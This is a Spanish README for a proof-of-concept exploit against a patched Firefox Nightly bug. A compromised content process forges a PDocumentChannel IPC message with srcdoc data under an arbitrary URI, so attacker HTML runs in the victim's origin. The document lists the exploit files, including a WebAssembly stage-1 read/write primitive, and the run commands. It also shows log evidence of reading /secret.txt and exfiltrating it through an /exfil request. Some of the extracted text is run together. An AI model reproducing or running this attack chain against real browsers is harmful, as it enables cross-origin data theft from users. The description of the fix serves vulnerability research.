
Firefox content->parent srcdoc forge (N-day, bug 2040160): PDocumentChannel falsificado con SrcdocData en una URI que no es about:srcdoc -> HTML del atacante servido en el origen de la víctima (UXSS), mediante inyección de ruta de envío mojo-port desde un proceso de contenido comprometido
Prueba de concepto: un proceso de contenido comprometido falsifica una carga de PDocumentChannel cuyo nsDocShellLoadState transporta SrcdocData junto con una URI arbitraria. Las compilaciones vulnerables sirven el HTML del atacante como documento en el origen de la víctima — lectura del mismo origen + exfiltración (UXSS).
Objetivo: Firefox 149.0a1 nightly @ 2fbc0748c4 (vulnerable, pre-arreglo), macOS arm64.
Corregido en Firefox 152 — bug 2040160, commit 54dc16d08771 "Reject srcdoc data on non-about:srcdoc URI loads".
El proceso padre deserializa un nsDocShellLoadState a partir de mensajes IPDL de contenido→padre. El ctor vulnerable solo rechazaba para cargas iniciadas por contenido; no se validaba. Cuando un estado de carga transporta datos srcdoc con una URI que no es , el docshell construye un canal de flujo de entrada que sirve el HTML srcdoc — y el documento resultante obtiene el origen de la URI.
javascript:SrcdocDataabout:srcdocEl arreglo añade un FatalError en el ctor IPDL de nsDocShellLoadState cuando !mSrcdocData.IsVoid() && !mURI->SchemeIs("view-source") && !NS_IsAboutSrcdoc(mURI), además de asserts de endurecimiento en nsDocShell y Document::StartDocumentLoad.
Bug hermano: CVE-2026-74939 (RemoteTypeOverride) — mismo ctor, mismo mensaje portador, misma maquinaria de entrega (ver ../poc-cve-2026-74939). Este PoC reutiliza esa falsificación con un campo diferente invertido; no se necesita RemoteTypeOverride.
srcdoc.html en http://127.0.0.1:8778 (origen A, comprometido
mediante las primitivas wasm de etapa 1 en wasm-bytes.js).PNecko::PDocumentChannel: URI = http://localhost:8778/nav.html
(origen B), SrcdocData = <HTML del atacante>, BrowsingContext de nivel superior de
una ventana emergente about:blank del mismo proceso — entregado a través de la ruta real de envío mojo
(operator new → ctor de IPC::Message → Pickle::WriteBytes →
MessageChannel::Send).webIsolated=http://localhost, y el docshell sirve nuestro HTML como
documento en el origen B./secret.txt (mismo origen en B — una obtención real de origen cruzado
desde A estaría bloqueada por CORS) y lo exfiltra a A.Evidencia (/tmp/srv.log después de ./irun):
REQ_GET /secret.txt
REQ_GET /exfil?d=flag%7Bsrcdoc-crossed-origins-2040160%7D
| Archivo | Propósito |
|---|---|
srcdoc.html | Página PoC, ejecutada dentro del proceso de contenido comprometido |
forge.py | construye el mensaje falsificado (autoverificable) → forge.bin/forge.json |
wasm-bytes.js | primitivas de etapa 1: R/W arbitrario, llamadas funcref (CVE-2026-2796) |
mdrive2.py | arnés marionette para lanzar y controlar Nightly |
irun | ejecución instrumentada: lldb adjunto al padre + evidencia MOZ_LOG/srv.log |
profile.user.js | preferencias del perfil de Firefox (fission activado, dump habilitado) |
parse_dc.py | analizador byte-exacto para mensajes DocumentChannel capturados |
captured-messages/dc_1.bin | mensaje real capturado, usado como plantilla de falsificación |
nav.html, secret.txt | fixture de la página de la víctima + secreto para la demo |
Requisitos previos: compilación vulnerable de Nightly en /Users/sid/gecko-2766/obj-browser,
.venv con psutil, y un servidor web en 0.0.0.0:8778 sirviendo este directorio
(p. ej. python3 /tmp/srv.py, registrando en /tmp/srv.log).
python3 forge.py # construir forge.bin/forge.json (autoverificable)
./irun # lanzar + inyectar + recopilar evidencia
Nota: un proceso de contenido puede producir SIGSEGV al finalizar después del envío (GC sobre los objetos falsos); toda la evidencia se emite antes de eso.
54dc16d08771 (MFSA 2026-57, Firefox 152)RemoteTypeOverride)